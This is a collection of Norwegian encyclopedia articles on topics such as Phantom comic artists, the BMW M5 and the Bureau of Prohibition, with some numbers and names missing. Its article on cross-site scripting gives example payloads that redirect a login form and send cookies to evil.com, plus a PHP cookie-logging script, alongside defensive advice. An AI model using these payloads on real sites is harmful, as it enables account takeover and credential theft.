Håndkysset i sin moderne form oppstod ved det spanske hoff i det 17. eller 18. århundre, og ble alminnelig i den europeiske overklasse i det 18. og 19. århundre. Gestens opprinnelse var trolig et tegn på underdanighet fra mann til mann. Mannen ville vise sin underkastelse ved å kysse den dominante personens signetring, hans tegn på autoritet. Det ble senere normalt for fyrster å la sine undersåtter hilse dem ved å kysse deres ring. Denne skikken praktiseres fremdeles ved det pavelige hoff, og er den normale måte å hilse paven på.

## Eksterne lenker
*
Bertil Wilhelmsson

**Bertil Wilhelmsson** (født 11. november 1926, død 9. juli 1992) var en svensk tegneserietegner, den første som tegnet *[[Fantomet]]* på lisens i Sverige. Wilhelmsson begynte å tegne tegneserier i 1953, da som tusjer på serien *Olli*, som var laget av kameraten Nils Egerbrandt. Denne serien ble utgitt i bladet *Tuff og Tuss* fra Serieförlaget (senere Semic).

Rundt 1961, da den daværende tegneren av *Fantomet*-stripene, kom det svenske ''Fantomen''-bladet i materialmangel, da nesten alt eksisterende *Fantomet*-materiale hadde vært publisert. Dermed fikk de i gang en egen produksjon av *Fantomet* på lisens, og Bertil Wilhelmsson ble deres første tegner. Wilhelmssons første historie, «Skatten i dödskallegrottan» ble utgitt i 1963. Den aller første historien i det norske *Fantomet*-bladet, «Dobbeltgjengerne», var tegnet og skrevet av Bertil Wilhelmsson.

I 1966 flyttet Wilhelmsson til Spania, og bodde der til slutten av 1970-tallet. I 1976 innledet han et samarbeid med Özcan Eralp på *Fantomet*-stripene, der Wilhelmsson tegnet skisser og Eralp tusjet. Wilhelmsson tegnet *Fantomet* fram til 1988.

## Referanser


## Kilder
* «Fantomet presenterer: Bertil Wilhelmsson», skrevet av Ulf Granberg, i *Det 21. Fantomet krøniker: 1964&ndash;1966*. ISBN 82-429-2567-4
Wilson McCoy

**Wilson McCoy** (født 6. april 1902, død 20. juli 1961) var en USA-amerikansk tegneserietegner, mest kjent som tegner for *[[Fantomet]]*, over en periode på rundt 30&nbsp;år. McCoy ble født i Troy, Missouri, og hadde seks søsken. Han kom inn i tegnerbransjen som løpegutt for et reklamebyrå i St. Louis, og studerte senere tegning og kunst ved Washington University Art School.

Rundt 1940 fikk McCoy jobb hos Ray Moore, daværende tegner av *Fantomet*-stripene, og var hans assistent fram til 1942, da Moore ble innkalt til krigstjeneste. Moore overtok igjen da han kom tilbake fra krigen, men han hadde fått en krigsskade som gjorde jobben vanskelig, og måtte snart gi opp. Først i 1949 ble McCoy kreditert for tegningen.

McCoy var på besøk i Norge i 1955. Han tok Hurtigruten oppover hele norskekysten, og gikk innom flere avisredaksjoner og lot seg intervjue, som «Fantomets far» (Romsdals Budstikke 28. mai 1955 har artikkeltittelen *Fantomet «personlig» på Norges-besøk* på forsiden).

Wilson McCoy ble smittet av en tropesykdom på en Afrika-reise i 1961, og legene tilbake på sykehuset i Chicago i USA klarte ikke å diagnostisere sykdommen, så han ble sendt hjem igjen. Han rakk så vidt å fullføre den siste dagsstripehistorien, «Varulvens skikkelse», før han døde den 20. juli.

## Referanser


## Kilder
* «Fantomet presenterer: Wilson McCoy», skrevet av Kjell Steen, i *Det 21. Fantomet krøniker: 1968*. ISBN 82-429-2530-5
* «Wilson McCoy» fra Fantomet.org
Boromir (Bëors hus)

**Boromir** var en mann av Bëors hus i J.R.R. Tolkiens fiktive verden Midgard i det første tidevervet. Han var sønn av Boron, sønn av Baran. Boromir fikk landområdet Ladros i Dorthonion i len (til låns), og hans hus flyttet dit. Han hadde to barn: datteren Andreth og sønnen Bregor (som sener ble far til Bregolas og Barahir). Den senere Boromir av Gondor var oppkalt etter han.
BMW M5

## Versjoner av BMW M5
### E28 M5 (1985–1988)
 E28 M5 ble produsert fra 1984 til 1988, totalt  eksemplarer.
### E34 M5 (1989–1995)

E34 M5 ble produsert fra 1989 til 1995, mens i Nord-Amerika var M5 kun tilgjengelig i perioden 1991 til 1993. Bilen ble produsert av BMW M i Garching, Tyskland. Som den tidligere M5, var også denne håndbygd. Man tok utgangspunkt i chassiet til 535i som ble produsert ved BMWs fabrikk i Dingolfing. Produksjonen skjedde enten av en M-medarbeider alene eller av et team av M-medarbeidere og tok som regel to uker.

Motorvolumet var fra starten av en 3,6 liter ( cm³) som hadde 235 kW (315 hk), mens bilene som ble solgt i Nord-Amerika og Sveits hadde 231 kW (310 hk) på grunn av annen type katalysator.

I 1991 byttet man motor til en 3,8 liter med 254 kW (340 hk), mens man i Nord-Amerika fortsatte med 3,6 literen. I 1991 kom også en stasjonsvognutgave av M5.

### E39 M5 (1998–2003)

I motsetning til forgjengerne ble ikke E39 M5 håndlaget hos BMW M, men ble produsert side om side med den vanlige E39 ved fabrikken i Dingolfing, Tyskland.

Bilen ble introdusert våren 1998 ved bilmessen i Genève, Sveits og produksjonen startet i slutten av oktober samme år.

Totalt  E39 M5 ble produsert, fordelt på tre versjoner:
* Europeisk høyrekjøringsversjon
* Europeisk venstrekjøringsversjon
* Nordamerikansk versjon

Motoren var en V8 på 4998 cm³ på 294 kW (400 hk), mens Nord-Amerikaversjonen hadde 394 hestekrefter, 6 mindre enn Europaversjonen. Motoren var basert på BMWs M62-motor, og fikk navnet S62. 0 – 100&nbsp;km/t på 5,3 sekunder. Toppfart var fra fabrikk elektronisk begrenset til 250&nbsp;km/t, men ved å fjerne denne begrensningen var toppfarten 300&nbsp;km/t.

### E60 M5 (2005–2010)

E60 M5 ble introdusert i 2004 og har en 5,0 liters V10-motor på 373 kW (507 hk). Bilen har et chassis av aluminium og en 7-trinns girkasse. E60 M5 veier det samme som E39 M5, 1 800 kg.

M5 E60 ble levert standard med 19" hjul med dekkdimensjonene 255/40R19 foran og 285/35R19 bak. 0 – 100&nbsp;km/t går på 4,7 sekunder, mens toppfarten er elektronisk begrenset til 250&nbsp;km/t. Uten fartssperren ville bilen klart 330&nbsp;km/t.

### F10 M5 (2011–2017)

F10 M5 ble lansert i 2011. Motoren var en 4,4 liters V8 med dobbel turbo. Denne motoren gir 560 hestekrefter. Motoren var koblet til en 7-trinns dobbelclutchkasse som standard (en sekstrinns manuell girkasse var også tilgjengelig, men bare i Nord-Amerika). 0&ndash;100 går på 4,4 sekunder.

### F90 M5 (2017– )
F90 M5 begynte produksjon i 2017 og første modellår var 2018.

### Konseptbiler
* BMW GP3.10 Gas Powered

## Referanser


## Eksterne lenker
* 
* bmwM5.com
* Forum om M5
Bureau of Prohibition

**Bureau of Prohibition** var et byrå i det amerikanske Finansdepartementet, opprettet i 1927 for å håndheve den nasjonale forbudsloven (*National Prohibition Act*, også kjent som *Volstead Act*) av 1919. Denne loven forordnet sanksjoner for brudd på det 18. grunnlovstillegg om forbud mot produksjon, salg, oppbevaring og forbruk av alkoholholdige drikkevarer.

Byråets ansatte ble kalt *prohibition agents* (forbudsagenter), hvorav den mest berømte var Eliot Ness. Forbudsbyrået ble dannet med mannskap fra *Alcohol Enforcement Office* i skatteetaten, Internal Revenue Service, som hadde håndhevet forbudet frem til opprettelsen. Etter forbudstidens slutt i 1933 ble mange av de 400 agentene overført tilbake til sine tidligere etater.
Cross-site scripting

**Cross-site scripting**, ofte forkortet til **XSS**, er en teknikk som kan benyttes for å manipulere websider.
 
XSS-hull finnes i dynamiske webapplikasjoner der brukerdata uforsiktig printes tilbake til nettleseren. Årsaken til problemet er at programvareutvikleren ikke prosesserer brukerdata riktig. Skal brukerdata printes tilbake til nettleseren bør for eksempel html tagger fjernes. Det kan gjøres ved å konvertere krokodilletegnene  til &amp;lt; og &amp;gt; respektivt slik at nettleseren ikke lenger tolker de som html-tagger men rendrer tegnet visuelt isteden. I PHP kan det gjøres slik: `htmlspecialchars($input);`

*Hackere* kan utnytte XSS-hull og:
* utføre phishing-angrep
* stjele cookies (informasjonskapsler)

Sjekkliste for å beskytte seg mot XSS er å **filtrere all input fra brukeren**,
det vil si HTTP POST, HTTP GET og HTTP COOKIES.

Eksemplene som er vist i denne artikkelen er forsøkt forenklet slik at også ikke-tekniske lesere kan sjekke om et nettsted har XSS-hull.

## Eksempel (ikke-teknisk)
Du har en gjestebok, og noen skriver inn følgende melding til deg:

```
Hei du! God jul <script>alert("XSS hull!")</script>
```


* Hvis det kommer opp en meldingsboks når du leser gjesteboken så er den sårbar for XSS.
* Hvis ikke, er brukerinput blitt filtrert *før* meldingen ble lagret (i en flatfil eller en database).

### Eksempel på phishing-angrep (litt teknisk)
Ta følgende form som et eksempel.

```
<form action="login.php" method="post">
<input type="text" name="user><br />
<input type="password" name="pass"><br /><br />
<input type="submit" value="Logg inn">
</form>
```


Ved å forandre «`login.php`» til «``» kan en hacker lagre alle brukernavn og passord som blir lagt inn. En avansert hacker kan automatisere scripet sitt slik at med en gang noen logger inn så blir passordet endret til noe annet.

### Eksempel på phishing-angrep i URL (litt teknisk)
De fleste XSS-hull finner man når man endre på URL-er. Ta denne URL-en:

```
http://good.com/index.php?msg=Hei du".
```

For å bruke eksempelet overfor til å utføre et phishing-angrep kunne man ha oppgitt følgende URL til offeret:

```
http://good.com/index.php?msg=Hei du<script>document.forms[0].action.value='http://evil.com/stjel.php'</script>
```


### Eksempel på stjeling av cookies (litt teknisk)
Hvis en hacker vil stjele en annens cookies så kan han sende følgende URL til offeret:

```
http://good.com/index.php?msg=Hei du<script>document.location.href="http://evil.com/stjel.php?id="+document.cookie</script>
```

Idet offeret intetanende klikker på linken vil «stjel.php» kalles. Denne kan for eksempel se slik ut:

```
<?php
$cookies=$_GET['id'];
$fp=fopen("cookies.txt", "a");
fwrite($fp, "Nye cookies: $cookies \n");
?>
```


Hackeren kan så installere denne cookie-en i egen browser og vil da bli logget inn som offeret.

## Eksterne lenker
* The Cross-Site Scripting (XSS) FAQ @CGISecurity
* Cross-Site Scripting Info @Apache Software Foundation
Egil Johansen

**Egil Johansen** er navnet til flere personer:

* Egil Johansen (1934–1998), norsk jazzmusiker
* Egil «Snapper'n» Johansen (1962–2023), norsk fotballspiller
* Egil Johansen (1954–), norsk verdensmester i orienteringsløp
Sy Barry

**Seymour «Sy» Barry** (født 12. mars 1928 på Manhattan, New York) er en amerikansk tegneserietegner. Han tegnet *[[Fantomet]]*-stripene i 33&nbsp;år fra 1961 til 1994, og er den tegneren som har hatt mest innvirkning på serien.

Barry ble inspirert til å begynne med tegning av broren Dan (kjent blant annet for tegneserien *[[Lyn Gordon]]*), og han kom inn på den prestisjefulle New York School of Art and Design. Etter å ha tatt eksamen der, jobbet Barry for forlaget DC Comics, der han skisset, tusjet og fargela serier som *[[Johnny Peril]]*, *[[Hopalong Cassidy]]* og *[[Johnny Thunder]]*. Han hjalp også broren Dan på *Lyn Gordon*, og tegnet flere striper av denne serien, selv om disse er signert Dan Barry.

Barry begynte å tegne dagsstripene til *Fantomet* i 1961 etter Wilson McCoys plutselige dødsfall, og hans første historie var «Slavebyen Mucar». Barry forsøkte å etterligne McCoys enkle tegnestil i begynnelsen, men gikk snart over til sin egen stil, som senere er blitt *Fantomet*-seriens faste stil.

Barry fortalte på norgesbesøk i 2001 at han umiddelbart gjorde flere endringer på Fantomet-figuren da han begynte å tegne serien. Blant annet flyttet han Hodeskalleringen fra høyre ringfinger til høyre langfinger &ndash; om den skulle sette merker på skurkenes haker, måtte den være der for at den skulle ha noen effekt. Han laget også en ny frakk til Mr. Walker, for den forrige «var fæl». Han gjorde også Ulv mer ulveaktig, så den ikke skulle kunne feiltas for en hund.

Sy Barry hadde ansvaret for *Fantomet*-stripene i 33&nbsp;år, og da dette er en bransje med stramme deadlines, måtte han følgelig ha en del assistenter. Disse var imidlertid anonyme, men man vet om en del av dem. George Olesen ble etter Barrys pensjonering selv hovedtegner av *Fantomet*-stripene (sammen med Keith Williams). Bob Forgione har også vært assistent, og André LeBlanc ble også kjent etter å ha vært assistent for Barry.

## Referanser


## Kilder
* «Fantomet presenterer: Sy Barry», skrevet av Kjell Steen, i *Det 21. Fantomet krøniker: 1970-I*. ISBN 82-429-2532-1
* «Seymour Barry» fra Fantomet.org
Petter Fladeby

**Petter Mads Fladeby** (født 1. april 1961 i Danmark, nå norsk statsborger), er lyddesigner og lydmikser, og har bidratt i over 70 norske og utenlandske spillefilmer. 

Fladeby fikk Amandaprisen 2008 for beste lyddesign for O' Horten og 2015 for Børning.

## Referanser


## Eksterne lenker
*
Egil Johansen (fotballspiller)

**Egil Flemming «Snapper'n» Johansen** (født 30. april 1962, død 19. september 2023) var en norsk fotballspiller. Johansen var kantspiller i Vålerenga på 1980-tallet, og er beskrevet som klubbens siste bohem. Han ble seriemester to ganger, og var med på å tape to cupfinaler. Han spilte tolv , og scoret ett landslagsmål. Han spilte på Norges lag under sommer-OL 1984 i USA.

Johansen startet fotballkarrieren i Bøler Idrettsforening, og gikk til Vålerenga foran 1983-sesongen. Dette året endte med seriegull og tapt cupfinale mot Moss FK. Året etter scoret Johansen vinnermålet i sin landslagsdebut mot , og vant et nytt seriemesterskap med Vålerenga.

Johansen forlot Vålerenga etter endt 1987-sesong til fordel for ettårskontrakt med den daværende 3.-divisjonsklubben . Vinteren tilbragte Johansen på utlån til den belgiske klubben  fram til april. Han bidro til at klubben unngikk nedrykk etter en dårlig start på sesongen. Johansen markerte seg særlig da han scoret alle lagets tre mål i en hjemmeseier over  28. februar 1988. Johansen fikk åtte kamper fra start og én som innbytter under oppholdet hos Beveren.

Han spilte to sesonger i Frigg, og deretter to sesonger for Vålerenga, før han trappet ned i moderklubben Bøler.

Kallenavnet «Snapper'n» stammer fra ungdomstida, da Johansen i tillegg til å spille fotball, også var ishockeykeeper.

I 2022 ble han diagnostisert med ALS.

## Spillerkarriere

### Landskamper

## Referanser


## Eksterne lenker
*
Juliane Köhler

**Juliane Köhler** (født 6. august 1965 i Göttingen) er en tysk skuespillerinne.

Hun er datter av en dukketeaterskuespiller, og studerte skuespill fra 1985 til 1988 under Uta Hagen samt i New York. Fra 1988 har hun hatt teaterroller i Tyskland.

På begynnelsen av 1990-tallet begynte hun å få filmroller, og fikk sitt gjennombrudd med to produksjoner i 1999: *[[Aimée und Jaguar]]* og *[[Pünktchen und Anton]]*, og fikk samme år Sølvbjørnen ved filmfestivalen i Berlin som «beste skuespillerinne». I 2001 spilte hun «Jettel Redlich» i Caroline Links Oscarbelønnede drama *[[Nirgendwo in Afrika]]*. Hun hadde i 2004 rollen som Eva Braun i *[[Der Untergang]]* og i 2012 rollen som Katrine i *[[To liv (2012)|To liv]]*. I norsk film hadde hun i 2016 i ''Kongens nei'' rollen som Diana Müller. 

## Referanser


## Eksterne lenker
* 
* 
* 
*
Merab Ninidse

**Merab Ninidse** (født 1965) er en georgisk skuespiller. Han har siden 1994 bodd i Østerrike, og han har spilt i en rekke tyskspråklige filmer og fjernsynsproduksjoner. Bl.a. spilte han «Walter Redlich» i den Oscarbelønnede filmen *[[Ingensteds i Afrika]]*.

## Filmografi
* 2024 *[[Conclave (film)|Conclave]]*
* 2021 *[[Delo]]*
* 2024 *[[April (film fra 2024)|April]]*
* 2017 *[[Hostages]]*
* 2015 *[[Pod elektritsjeskimi oblakami]]*
* 2012 *[[Ljubov s aktsentom]]*
* 2008 *[[Bumazjnyj soldat]]*
* 2004 *Die Kirschenkönigin*, fjernsynsfilm
* 2004 *Sterne leuchten auch am Tag*, fjernsynsfilm
* 2004 *Das Bernsteinamulett*, fjernsynsfilm
* 2004 *Cattolica*
* 2002 *Verlorenes Land*
* 2001 *[[Ingensteds i Afrika]] (Nirgendwo in Afrika)*
* 2000 *England*
* 1999 *[[Luna Papa]]*
* 1994 *Hasenjagd*
* 1993 *Halbe Welt*
* 1984 *Die Reue*

Han har også opptrådt i seriene
* *Tatort* (München) – Sechs zum Essen
* *Bella Block* – Im Namen der Ehre
* *Kommissar REX* – Priester in Gefahr

## Referanser


## Eksterne lenker
* 
* 
* Utførlig biografi